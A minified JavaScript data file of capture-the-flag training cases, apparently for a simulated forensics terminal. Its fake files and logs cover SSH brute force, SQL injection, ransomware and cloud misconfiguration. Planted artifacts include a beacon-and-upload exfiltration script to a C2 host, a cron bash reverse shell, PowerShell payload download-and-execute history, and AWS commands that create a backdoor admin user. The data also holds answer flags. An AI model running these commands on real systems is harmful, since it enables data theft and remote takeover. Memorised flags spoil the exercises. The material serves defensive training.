const n=[{id:"ctf-101",title:"Case 101: The Hidden Flag",description:"A compromised server was recovered from an APT group. Intel suggests they hid a secret encryption key somewhere in the filesystem. Your mission: locate and extract the hidden flag.",objective:"Navigate the filesystem, find hidden directories, and read the `flag.txt` file.",difficulty:"Easy",xp:150,osType:"linux",estimatedTime:"5 min",skills:["File Navigation","Hidden Files"],initialFileSystem:{"/home/user":{type:"dir",children:{documents:{type:"dir",children:{private:{type:"dir",children:{"notes.txt":{type:"file",content:`Meeting with IT team at 2pm
Remember to check the hidden backup folder...`}}},work:{type:"dir",children:{"project_alpha.md":{type:"file",content:`# Project Alpha
Status: In Progress
Deadline: Next Friday`},"contacts.csv":{type:"file",content:`name,email,phone
John Doe,john@corp.com,555-1234
Jane Smith,jane@corp.com,555-5678`}}}}},downloads:{type:"dir",children:{"installer.sh":{type:"file",content:`#!/bin/bash
# Installer script v2.1
echo 'Installing dependencies...'
apt-get update && apt-get install -y nginx`},"readme.txt":{type:"file",content:`Downloaded files go here.
Remember to scan for malware!`}}},pictures:{type:"dir",children:{"vacation.jpg":{type:"file",content:"[Binary Image Data]"},"screenshot.png":{type:"file",content:"[Binary Image Data]"}}},".hidden":{type:"dir",children:{".config":{type:"dir",children:{"app.conf":{type:"file",content:`debug=false
log_level=warn`}}},secrets:{type:"dir",children:{"flag.txt":{type:"file",content:"FLAG{L1NUX_F1L3_N4V1G4T0R_PR0}"},"credentials.enc":{type:"file",content:"U2FsdGVkX1+vupppZksvRf5pq5g5XjFRIipRkwB0K1Y="}}}}},".bashrc":{type:"file",content:`# ~/.bashrc
export PATH=$PATH:/usr/local/bin
alias ll='ls -la'`},".bash_history":{type:"file",content:`ls -la
cd .hidden
cat flag.txt
clear`}}}},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{L1NUX_F1L3_N4V1G4T0R_PR0}")),successMessage:"Flag Captured! You successfully navigated hidden directories. Hint: `ls -la` shows hidden files!"},{id:"ctf-102",title:"Case 102: SSH Brute Force Analysis",description:"Our SIEM detected multiple failed SSH login attempts. Analyze the authentication logs to identify the attacker's IP address and determine the scope of the attack.",objective:"Use `grep` to search auth.log for 'Failed password' entries and identify the malicious IP.",difficulty:"Medium",xp:300,osType:"linux",estimatedTime:"10 min",skills:["Log Analysis","Grep","Pattern Recognition"],initialFileSystem:{"/home/user":{type:"dir",children:{}},"/var/log":{type:"dir",children:{"auth.log":{type:"file",content:`Jan 17 08:00:01 webserver sshd[1001]: Accepted publickey for admin from 10.0.0.5 port 52341 ssh2
Jan 17 08:15:33 webserver sshd[1023]: Accepted password for developer from 192.168.1.100 port 43521 ssh2
Jan 17 09:00:01 webserver CRON[1100]: pam_unix(cron:session): session opened for user root
Jan 17 09:05:22 webserver sshd[1245]: Failed password for invalid user admin from 203.0.113.42 port 44441 ssh2
Jan 17 09:05:24 webserver sshd[1245]: Failed password for invalid user admin from 203.0.113.42 port 44442 ssh2
Jan 17 09:05:26 webserver sshd[1245]: Failed password for invalid user root from 203.0.113.42 port 44443 ssh2
Jan 17 09:05:28 webserver sshd[1245]: Failed password for invalid user test from 203.0.113.42 port 44444 ssh2
Jan 17 09:05:30 webserver sshd[1245]: Failed password for invalid user ubuntu from 203.0.113.42 port 44445 ssh2
Jan 17 09:05:32 webserver sshd[1245]: Failed password for invalid user pi from 203.0.113.42 port 44446 ssh2
Jan 17 09:10:01 webserver CRON[1300]: pam_unix(cron:session): session closed for user root
Jan 17 10:00:00 webserver sshd[1401]: Accepted password for admin from 10.0.0.5 port 52890 ssh2
Jan 17 11:30:15 webserver sshd[1502]: Connection closed by 192.168.1.100 port 43600 [preauth]`},syslog:{type:"file",content:`Jan 17 08:00:00 webserver kernel: [    0.000000] Linux version 5.15.0-generic
Jan 17 08:00:01 webserver systemd[1]: Started SSH daemon.
Jan 17 09:00:00 webserver cron[100]: (root) CMD (run-parts /etc/cron.hourly)`},"dpkg.log":{type:"file",content:`2024-01-15 10:00:00 startup packages configure
2024-01-15 10:00:05 configure nginx 1.18.0-0ubuntu1 amd64`}}}},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("203.0.113.42")),successMessage:"Threat Actor Identified! IP 203.0.113.42 attempted 6 brute force logins in 10 seconds - classic automated attack pattern."},{id:"ctf-103",title:"Case 103: Malware Hunt",description:"Endpoint Detection flagged suspicious activity. A malicious script was dropped somewhere in /tmp. Find and analyze it to understand the threat.",objective:"Locate the malware script in /tmp and read its contents to find the C2 server address.",difficulty:"Medium",xp:350,osType:"linux",estimatedTime:"10 min",skills:["Malware Analysis","File Search","Threat Hunting"],initialFileSystem:{"/home/user":{type:"dir",children:{}},"/tmp":{type:"dir",children:{sess_abc123:{type:"file",content:"session_data:user=john;expires=3600"},"systemd-private-xyz":{type:"dir",children:{tmp:{type:"dir",children:{}}}},".X11-unix":{type:"dir",children:{}},updates:{type:"dir",children:{".cache":{type:"dir",children:{"svchost.sh":{type:"file",content:`#!/bin/bash
# Persistence mechanism
while true; do
    curl -s http://evil-c2.malware.net:8443/beacon -d "host=$(hostname)"
    sleep 300
done &
# Exfiltrate data
tar czf /tmp/.data.tar.gz /home/*/Documents 2>/dev/null
curl -X POST http://evil-c2.malware.net:8443/upload -F "file=@/tmp/.data.tar.gz"
rm -f /tmp/.data.tar.gz`}}}}},"mysql.sock":{type:"file",content:"[socket file]"}}}},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("evil-c2.malware.net")),successMessage:"Malware Located! C2 server: evil-c2.malware.net:8443. The script was exfiltrating user documents!"},{id:"ctf-104",title:"Case 104: Apache Access Log Forensics",description:"The web team reported unusual traffic patterns. Analyze the Apache access logs to find evidence of a SQL injection attack.",objective:"Search the access.log for SQL injection patterns and identify the attacker's request.",difficulty:"Hard",xp:500,osType:"linux",estimatedTime:"15 min",skills:["Web Log Analysis","SQL Injection Detection","Regex"],initialFileSystem:{"/home/user":{type:"dir",children:{}},"/var/log/apache2":{type:"dir",children:{"access.log":{type:"file",content:`192.168.1.50 - - [17/Jan/2024:10:00:00 +0000] "GET / HTTP/1.1" 200 4523
192.168.1.50 - - [17/Jan/2024:10:00:05 +0000] "GET /products HTTP/1.1" 200 12045
10.10.10.100 - - [17/Jan/2024:10:15:00 +0000] "GET /login HTTP/1.1" 200 2341
10.10.10.100 - - [17/Jan/2024:10:15:05 +0000] "POST /login HTTP/1.1" 302 0
45.33.32.156 - - [17/Jan/2024:11:00:00 +0000] "GET /search?q=laptop HTTP/1.1" 200 8834
45.33.32.156 - - [17/Jan/2024:11:00:15 +0000] "GET /search?q=' OR '1'='1 HTTP/1.1" 500 1024
45.33.32.156 - - [17/Jan/2024:11:00:20 +0000] "GET /search?q=' UNION SELECT username,password FROM users-- HTTP/1.1" 200 15678
45.33.32.156 - - [17/Jan/2024:11:00:25 +0000] "GET /search?q=' UNION SELECT * FROM credit_cards-- HTTP/1.1" 200 45000
192.168.1.50 - - [17/Jan/2024:12:00:00 +0000] "GET /checkout HTTP/1.1" 200 3421`},"error.log":{type:"file",content:`[Wed Jan 17 11:00:15.123456 2024] [core:error] [pid 1234] [client 45.33.32.156:54321] AH01630: client denied by server configuration
[Wed Jan 17 11:00:16.234567 2024] [php:error] [pid 1234] [client 45.33.32.156:54322] PHP Warning: mysql_query(): query failed`}}}},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("UNION SELECT")||e.includes("45.33.32.156")&&e.includes("credit_cards")),successMessage:"SQL Injection Detected! IP 45.33.32.156 successfully extracted data from users and credit_cards tables. Time to patch that search function!"},{id:"ctf-107",title:"Case 107: Active Connections",description:"A server is reportedly communicating with an unknown external IP on a non-standard port. Use `netstat` or `ss` to identify the established connection.",objective:"Run network scanning commands to find the suspicious established connection.",difficulty:"Medium",xp:200,osType:"linux",estimatedTime:"5 min",skills:["Network Troubleshooting","netstat","ss"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{netstat:`Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 10.0.0.5:22             192.168.1.100:54321     ESTABLISHED
tcp        0      0 10.0.0.5:4444           203.0.113.88:8080       ESTABLISHED
FLAG{N3TST4T_M4ST3R}`,"netstat -an":`Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 10.0.0.5:22             192.168.1.100:54321     ESTABLISHED
tcp        0      0 10.0.0.5:4444           203.0.113.88:8080       ESTABLISHED
FLAG{N3TST4T_M4ST3R}`,ss:`Netid  State      Recv-Q Send-Q Local Address:Port       Peer Address:Port
tcp    ESTAB      0      0      10.0.0.5:ssh         192.168.1.100:54321
tcp    ESTAB      0      0      10.0.0.5:4444        203.0.113.88:8080
FLAG{N3TST4T_M4ST3R}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{N3TST4T_M4ST3R}")),successMessage:"Connection Found! There is an established connection on port 4444 communicating with 203.0.113.88."},{id:"ctf-108",title:"Case 108: Scheduled Persistence",description:"An attacker gained access and set up a persistent backdoor that runs automatically. Analyze the scheduled tasks to find it.",objective:"Check the user's crontab for malicious entries.",difficulty:"Easy",xp:150,osType:"linux",estimatedTime:"5 min",skills:["crontab","Persistence Mechanism"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"crontab -l":`0 2 * * * /opt/backup.sh
* * * * * /dev/shm/.hidden_script.sh & # FLAG{CR0NT4B_B4CKD00R}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{CR0NT4B_B4CKD00R}")),successMessage:"Backdoor Identified! The attacker added a job to run a hidden script in /dev/shm every minute."},{id:"ctf-109",title:"Case 109: Firewall Bypassed",description:"A database server that should be strictly internal is receiving external traffic. Check the local firewall configuration to see what went wrong.",objective:"List the `iptables` rules to find the misconfiguration.",difficulty:"Medium",xp:250,osType:"linux",estimatedTime:"8 min",skills:["iptables","Firewall Analysis"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"iptables -L":`Chain INPUT (policy DROP)
target     prot opt source               destination
ACCEPT     all  --  anywhere             anywhere             state RELATED,ESTABLISHED
ACCEPT     tcp  --  10.0.0.0/8           anywhere             tcp dpt:3306
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:3306 /* FLAG{M1SC0NF1GUR3D_FW} */

Chain FORWARD (policy DROP)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{M1SC0NF1GUR3D_FW}")),successMessage:"Rule Found! Someone added an ACCEPT rule for port 3306 from ANY source, exposing the database to the internet."},{id:"ctf-110",title:"Case 110: Compromised Keys",description:"We suspect an attacker managed to steal the SSH keys for the web application user. Locate the private key file on the system.",objective:"Navigate to the `.ssh` directory and analyze the keys.",difficulty:"Easy",xp:150,osType:"linux",estimatedTime:"5 min",skills:["SSH","Key Management","File Navigation"],initialFileSystem:{"/home/user":{type:"dir",children:{".ssh":{type:"dir",children:{id_rsa:{type:"file",content:`-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
FLAG{ST0L3N_PR1V4T3_K3Y}
-----END OPENSSH PRIVATE KEY-----`},"id_rsa.pub":{type:"file",content:"ssh-rsa AAAAB3NzaC1yc... user@webserver"},authorized_keys:{type:"file",content:`ssh-rsa AAAAB3Nza... admin@jumpbox
ssh-rsa AAAAC3Nza... attacker@evil`}}}}}},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{ST0L3N_PR1V4T3_K3Y}")),successMessage:"Key Found! The private `id_rsa` key shouldn't be accessible. Also, notice the malicious entry in authorized_keys!"},{id:"ctf-111",title:"Case 111: The Archived Payload",description:"An associate downloaded a suspect file named 'backup_archive.tar.gz'. Unpack it safely to discover what it hides.",objective:"Extract the `.tar.gz` file and read its contents.",difficulty:"Medium",xp:200,osType:"linux",estimatedTime:"8 min",skills:["tar","Archive Extraction"],initialFileSystem:{"/home/user":{type:"dir",children:{"backup_archive.tar.gz":{type:"file",content:"[Compressed Data]"}}}},customCommands:{"tar -xzf backup_archive.tar.gz":(s,i)=>(i["/home/user"].children.hidden_payload={type:"dir",children:{"script.sh":{type:"file",content:`#!/bin/bash
echo 'Executing payload...'
FLAG{T4R_3XTR4CT10N_PR0}`}}},"Extraction complete."),"tar xzf backup_archive.tar.gz":(s,i)=>(i["/home/user"].children.hidden_payload={type:"dir",children:{"script.sh":{type:"file",content:`#!/bin/bash
echo 'Executing payload...'
FLAG{T4R_3XTR4CT10N_PR0}`}}},"Extraction complete.")},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{T4R_3XTR4CT10N_PR0}")),successMessage:"Archive Extracted! It contained a malicious shell script inside a 'hidden_payload' directory."},{id:"ctf-112",title:"Case 112: Rogue Service",description:"A rogue service has been installed on the machine, running as a daemon. Identify the service file.",objective:"List the systemd services or search the systemd directory to find the malicious service config.",difficulty:"Medium",xp:250,osType:"linux",estimatedTime:"10 min",skills:["systemctl","Service Management","Systemd"],initialFileSystem:{"/home/user":{type:"dir",children:{}},"/etc/systemd/system":{type:"dir",children:{"sshd.service":{type:"file",content:`[Unit]
Description=OpenBSD Secure Shell server`},"nginx.service":{type:"file",content:`[Unit]
Description=A high performance web server and a reverse proxy server`},"updater-daemon.service":{type:"file",content:`[Unit]
Description=Critical System Updater
[Service]
ExecStart=/tmp/.hidden/miner
Restart=always
# FLAG{R0GU3_SYST3MD_S3RV1C3}`}}}},customCommands:{"systemctl status updater-daemon.service":`● updater-daemon.service - Critical System Updater
   Loaded: loaded (/etc/systemd/system/updater-daemon.service; enabled)
   Active: active (running)
   Main PID: 10452 (miner)
   FLAG{R0GU3_SYST3MD_S3RV1C3}`,"systemctl status updater-daemon":`● updater-daemon.service - Critical System Updater
   Loaded: loaded (/etc/systemd/system/updater-daemon.service; enabled)
   Active: active (running)
   Main PID: 10452 (miner)
   FLAG{R0GU3_SYST3MD_S3RV1C3}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{R0GU3_SYST3MD_S3RV1C3}")),successMessage:"Service Identified! The 'updater-daemon' is actually running a cryptominer from /tmp!"},{id:"ctf-201",title:"Case 201: Insider Threat Investigation",description:"HR reported suspicious behavior from an employee. IT preserved their workstation. Search the Desktop and Documents for evidence of data theft.",objective:"Navigate to Desktop and Documents, find any files related to 'confidential' or sensitive data.",difficulty:"Easy",xp:150,osType:"windows",estimatedTime:"5 min",skills:["File Navigation","Evidence Collection"],initialFileSystem:{"/home/user":{type:"dir",children:{"todo.txt":{type:"file",content:`1. Finish quarterly report
2. Team meeting at 3pm
3. Delete the evidence folder...`}}},"/home/user/Desktop":{type:"dir",children:{"shortcuts.lnk":{type:"file",content:"[Shortcut to Excel]"},personal_usb_backup:{type:"dir",children:{"customer_list.xlsx":{type:"file",content:"[Excel: 5000 customer records with emails and phone numbers]"},"salary_data.csv":{type:"file",content:`name,salary,ssn
John CEO,500000,123-45-6789
Jane CFO,450000,987-65-4321`},"exfil_plan.txt":{type:"file",content:`CONFIDENTIAL - DO NOT SHARE

Plan: Copy all customer data to USB
Target: CompetitorCorp Inc.
Payment: $50,000 upon delivery

FLAG{1NS1D3R_THR34T_D3T3CT3D}`}}}}},"/home/user/Documents":{type:"dir",children:{work_projects:{type:"dir",children:{"Q4_report.docx":{type:"file",content:"[Word document: Quarterly financial report]"}}},personal:{type:"dir",children:{"resume_2024.pdf":{type:"file",content:"[PDF: Updated resume - looking for new job]"}}}}}},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{1NS1D3R_THR34T_D3T3CT3D}")||e.includes("CompetitorCorp")),successMessage:"Evidence Secured! Employee was planning to sell customer data to a competitor for $50,000."},{id:"ctf-202",title:"Case 202: Windows Event Log Analysis",description:"Security team detected a potential account compromise. Review the exported security events to find the unauthorized access.",objective:"Analyze the event log export to find failed login attempts followed by a successful one.",difficulty:"Medium",xp:300,osType:"windows",estimatedTime:"10 min",skills:["Event Log Analysis","Account Security"],initialFileSystem:{"/home/user":{type:"dir",children:{}},"/home/user/Desktop":{type:"dir",children:{"security_export.log":{type:"file",content:`Event ID: 4625 | Time: 2024-01-17 02:30:15 | Type: Logon Failure
Account: Administrator | Source: 198.51.100.23 | Reason: Bad password

Event ID: 4625 | Time: 2024-01-17 02:30:18 | Type: Logon Failure
Account: Administrator | Source: 198.51.100.23 | Reason: Bad password

Event ID: 4625 | Time: 2024-01-17 02:30:21 | Type: Logon Failure
Account: admin | Source: 198.51.100.23 | Reason: Unknown user

Event ID: 4624 | Time: 2024-01-17 02:30:45 | Type: Logon Success
Account: backup_svc | Source: 198.51.100.23 | Logon Type: 10 (RemoteInteractive)

Event ID: 4672 | Time: 2024-01-17 02:30:46 | Type: Special Privileges Assigned
Account: backup_svc | Privileges: SeBackupPrivilege, SeRestorePrivilege

Event ID: 4688 | Time: 2024-01-17 02:31:00 | Type: Process Created
Account: backup_svc | Process: cmd.exe | Command: whoami /all

Event ID: 4688 | Time: 2024-01-17 02:32:00 | Type: Process Created  
Account: backup_svc | Process: powershell.exe | Command: Invoke-WebRequest evil.com/payload.exe`}}}},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("198.51.100.23")||e.includes("backup_svc")||e.includes("evil.com")),successMessage:"Attack Timeline Reconstructed! Attacker from 198.51.100.23 compromised backup_svc account after failed attempts, then downloaded malware."},{id:"ctf-203",title:"Case 203: Ransomware Incident Response",description:"A workstation was hit by ransomware. The ransom note was found. Analyze it to gather threat intelligence.",objective:"Find and read the ransom note to identify the ransomware variant and payment address.",difficulty:"Easy",xp:200,osType:"windows",estimatedTime:"5 min",skills:["Ransomware Analysis","Threat Intel"],initialFileSystem:{"/home/user":{type:"dir",children:{}},"/home/user/Desktop":{type:"dir",children:{"READ_ME_NOW.txt":{type:"file",content:`!!! ALL YOUR FILES HAVE BEEN ENCRYPTED !!!

Your files were encrypted by DarkCrypt Ransomware v3.2

Your unique ID: DCR-2024-XK7891

To recover your files:
1. Buy 0.5 Bitcoin (~$25,000)
2. Send to: bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh
3. Email proof to: darkrecovery@proton.me with your ID
4. Wait 24-48 hours for decryption key

WARNING: 
- Do not rename encrypted files
- Do not use third-party decryptors
- Price doubles after 72 hours
- Files deleted after 7 days

DarkCrypt Gang - We always deliver`},"budget_2024.xlsx.dcrypt":{type:"file",content:"[ENCRYPTED]"},"family_photos.zip.dcrypt":{type:"file",content:"[ENCRYPTED]"},"passwords.txt.dcrypt":{type:"file",content:"[ENCRYPTED]"}}}},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh")||e.includes("DarkCrypt")||e.includes("darkrecovery@proton.me")),successMessage:"Intel Gathered! Ransomware: DarkCrypt v3.2 | BTC: bc1qxy2k... | Contact: darkrecovery@proton.me. Time to check threat intel databases!"},{id:"ctf-105",title:"Case 105: Leaked Shadow Backup",description:"A system audit revealed that a sensitive backup file might be readable by standard users. This is a critical security violation. Find the backup of the shadow file.",objective:"Locate the `shadow.bak` file in the `/var/backups` directory and read its contents to confirm the leak.",difficulty:"Easy",xp:200,osType:"linux",estimatedTime:"5 min",skills:["Privilege Escalation Awareness","File Permissions"],initialFileSystem:{"/home/user":{type:"dir",children:{}},"/var/backups":{type:"dir",children:{"apt.extended_states.0":{type:"file",content:"[Package states]"},"shadow.bak":{type:"file",content:`root:$6$rounds=4095$randomsalt$encryptedhashvalue1234567890:19730:0:99999:7:::
daemon:*:19730:0:99999:7:::
bin:*:19730:0:99999:7:::
sys:*:19730:0:99999:7:::
sync:*:19730:0:99999:7:::
user:$6$rounds=4095$usersalt$userhashvalue0987654321:19730:0:99999:7:::
FLAG{SH4D0W_F1L3S_MUST_B3_PR0T3CT3D}`},"dpkg.status.0":{type:"file",content:"[Package Status]"}}}},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{SH4D0W_F1L3S_MUST_B3_PR0T3CT3D}")||e.includes("root:$6$")),successMessage:"Security Flaw Confirmed! The shadow file contains password hashes and must never be readable by non-root users."},{id:"ctf-106",title:"Case 106: The Malicious Cron",description:"The server seems to be establishing outbound connections every minute. Inspect the scheduled tasks (cron jobs) to find the persistence mechanism.",objective:"Check the cron configuration files for suspicious entries, specifically a reverse shell.",difficulty:"Medium",xp:350,osType:"linux",estimatedTime:"10 min",skills:["Persistence Analysis","Cron","Reverse Shells"],initialFileSystem:{"/home/user":{type:"dir",children:{}},"/etc/cron.d":{type:"dir",children:{php:{type:"file",content:"09,39 * * * * root [ -x /usr/lib/php/sessionclean ] && /usr/lib/php/sessionclean"},anacron:{type:"file",content:"30 7 * * * root start -q anacron || :"},"system-update":{type:"file",content:`SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Update System
0 4 * * * root apt-get update && apt-get upgrade -y

# Maint check (Suspicious...)
* * * * * root /bin/bash -c "bash -i >& /dev/tcp/10.10.10.99/4444 0>&1"
`}}}},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("10.10.10.99")||e.includes("/dev/tcp")),successMessage:"Backdoor Found! A reverse shell was scheduled to run every minute, connecting back to the attacker's IP 10.10.10.99."},{id:"ctf-204",title:"Case 204: Registry Persistence",description:"Malware often hides in the Registry to start automatically with Windows. Analyze the exported registry text file to find the malicious startup key.",objective:"Read `HKCU_Run_Export.txt` on the Desktop and identify the suspicious executable path.",difficulty:"Medium",xp:250,osType:"windows",estimatedTime:"8 min",skills:["Registry Forensics","Persistence Mechanisms"],initialFileSystem:{"/home/user":{type:"dir",children:{}},"/home/user/Desktop":{type:"dir",children:{"HKCU_Run_Export.txt":{type:"file",content:`Windows Registry Editor Version 5.00

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun]
"OneDrive"=""C:\\Program Files\\Microsoft OneDrive\\OneDrive.exe" /background"
"Steam"=""C:\\Program Files (x86)\\Steam\\steam.exe" -silent"
"Discord"="C:\\Users\\User\\AppData\\Local\\Discord\\app-1.0.9001\\Discord.exe"
"SystemUpdate"="C:\\Windows\\Temp\\wupdate_v2.exe"
"Spotify"=""C:\\Users\\User\\AppData\\Roaming\\Spotify\\Spotify.exe" --minimized"

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce]
`}}}},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("wupdate_v2.exe")),successMessage:"Malicious Key Identified! 'C:\\Windows\\Temp\\wupdate_v2.exe' is trying to disguise itself as a system update."},{id:"ctf-205",title:"Case 205: PowerShell Forensics",description:"Attacker activity was reported. We need to know what commands they executed. Luckily, PowerShell history was enabled.",objective:"Locate and read the `ConsoleHost_history.txt` file to reconstruct the attacker's actions.",difficulty:"Easy",xp:150,osType:"windows",estimatedTime:"5 min",skills:["PowerShell","Forensics"],initialFileSystem:{"/home/user":{type:"dir",children:{}},"/home/user/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine":{type:"dir",children:{"ConsoleHost_history.txt":{type:"file",content:`ipconfig /all
whoami
net user
net localgroup administrators
Invoke-WebRequest -Uri "http://malicious-site.com/payload.ps1" -OutFile "C:\\Temp\\payload.ps1"
powershell -ExecutionPolicy Bypass -File "C:\\Temp\\payload.ps1"
rm "C:\\Temp\\payload.ps1"
exit`}}}},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("malicious-site.com")||e.includes("payload.ps1")),successMessage:"History Recovered! The attacker downloaded a payload from malicious-site.com and executed it."},{id:"ctf-206",title:"Case 206: Phishing Headers",description:"An employee received a suspicious email claiming to be from the CEO. We managed to extract the raw email headers. Source the email.",objective:"Analyze `urgent_wire_transfer.eml` on the Desktop and find the true sender IP address.",difficulty:"Medium",xp:300,osType:"windows",estimatedTime:"10 min",skills:["Email Forensics","Header Analysis"],initialFileSystem:{"/home/user":{type:"dir",children:{}},"/home/user/Desktop":{type:"dir",children:{"urgent_wire_transfer.eml":{type:"file",content:`Delivered-To: finance@company.com
Received: by 2002:a05:6358:1234:0:0:0:0 with SMTP id; Tue, 17 Jan 2024 09:15:00 -0800 (PST)
Return-Path: <ceo-office@gmail.com>
Received: from mail.attacker-infrastructure.xyz (mail.attacker-infrastructure.xyz. [185.199.108.153])
        by mx.google.com with ESMTPS id abc12345.67.2024.01.17.09.14.59
        for <finance@company.com>
        (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
        Tue, 17 Jan 2024 09:15:00 -0800 (PST)
From: "CEO John Smith" <ceo@company.com>
Reply-To: ceo-private-email@protonmail.com
Subject: URGENT: Wire Transfer Required Immediately
To: finance@company.com
Date: Tue, 17 Jan 2024 09:14:55 -0800

Team,
I need you to process an urgent wire transfer for a vendor acquisition.
Please wire $45,000 to the account attached immediately.
Do not discuss this with anyone as the deal is secret.

John Smith
CEO`}}}},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("185.199.108.153")||e.includes("attacker-infrastructure.xyz")),successMessage:"Spoofing Detected! The email claimed to be from company.com but originated from 185.199.108.153 (mail.attacker-infrastructure.xyz)."},{id:"ctf-301",title:"Case 301: Unprotected S3 Bucket",description:"A developer accidentally left an S3 bucket open to the public. Find the sensitive customer data.",objective:"List the S3 buckets and read the contents of the `customer-backups` bucket.",difficulty:"Easy",xp:200,osType:"cloud",estimatedTime:"5 min",skills:["Cloud Security","AWS CLI","S3 Misconfiguration"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"aws s3 ls":`2024-01-17 12:00:00 public-assets
2024-01-17 12:00:00 customer-backups`,"aws s3 ls s3://customer-backups":`data.csv
secret_config.json`,"aws s3 cp s3://customer-backups/secret_config.json .":"download: s3://customer-backups/secret_config.json to ./secret_config.json","cat secret_config.json":`{
  "db_password": "SuperSecretDBPass123!",
  "api_key": "FLAG{S3_BUCK3TS_MUST_B3_PR1V4T3}"
}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{S3_BUCK3TS_MUST_B3_PR1V4T3}")),successMessage:"Cloud Leak Sealed! You found the API key in a public S3 bucket."},{id:"ctf-302",title:"Case 302: IAM Privilege Escalation",description:"You have compromised a limited user key. Check your permissions and try to escalate privileges.",objective:"Enumerate user policies and find a way to create a new admin user.",difficulty:"Medium",xp:350,osType:"cloud",estimatedTime:"10 min",skills:["IAM Analysis","Privilege Escalation"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"aws iam get-user":"User: { UserName: 'deploy-bot', UserId: 'AIDAX...' }","aws iam list-attached-user-policies --user-name deploy-bot":"PolicyNames: ['AdministratorAccess-Recovery']","aws iam create-user --user-name backdoor":"User 'backdoor' created.","aws iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess":"Policy attached to 'backdoor'. FLAG{1AM_P3RM1SS10NS_4R3_TR1CKY}"},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{1AM_P3RM1SS10NS_4R3_TR1CKY}")),successMessage:"Privilege Escalation Successful! The 'deploy-bot' had excessive permissions allowing it to create admin users."},{id:"ctf-303",title:"Case 303: EC2 User Data Secrets",description:"Developers often hide secrets in EC2 User Data scripts. Inspect the instance metadata.",objective:"Retrieve the User Data of the instance `i-0abcdef1234567890`.",difficulty:"Easy",xp:200,osType:"cloud",estimatedTime:"5 min",skills:["EC2 Metadata","Secret Hunting"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"aws ec2 describe-instance-attribute --instance-id i-0abcdef1234567890 --attribute userData":"UserData: { Value: 'IyEvYmluL2Jhc2gNCg0KZXhwb3J0IERCX1BBU1M9RkxBR3tVQzJfVVNFUl9EQVRBX0lTX05PVF9TRUNVUkV9' } (base64 decoded: export DB_PASS=FLAG{UC2_USER_DATA_IS_NOT_SECURE})"},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{UC2_USER_DATA_IS_NOT_SECURE}")),successMessage:"Secret Found! User Data scripts are visible to anyone with 'DescribeInstances' permission."},{id:"ctf-304",title:"Case 304: Lambda Function Source Code",description:"A serverless function is suspected of leaking data. Download its source code to analyze it.",objective:"Get the download URL for the Lambda function `payment-processor`.",difficulty:"Medium",xp:300,osType:"cloud",estimatedTime:"8 min",skills:["Serverless Security","Code Review"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"aws lambda get-function --function-name payment-processor":"Code: { Location: 'https://s3.amazonaws.com/lambda-code/payment.zip?token=FLAG{L4MBD4_C0D3_1S_V1S1BL3}' }"},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{L4MBD4_C0D3_1S_V1S1BL3}")),successMessage:"Source Code Secured! You retrieved the Lambda function code URL."},{id:"ctf-305",title:"Case 305: RDS Snapshot Leaks",description:"An old database snapshot was shared with another account. Identify the shared snapshot.",objective:"List RDS snapshots and check their sharing attributes.",difficulty:"Medium",xp:250,osType:"cloud",estimatedTime:"8 min",skills:["Database Security","Snapshot Analysis"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"aws rds describe-db-snapshots":"Snapshot: 'prod-db-backup-2023', Status: 'available'","aws rds describe-db-snapshot-attributes --db-snapshot-identifier prod-db-backup-2023":`AttributeName: 'restore', AttributeValues: ['all'] (This means it is PUBLIC!)
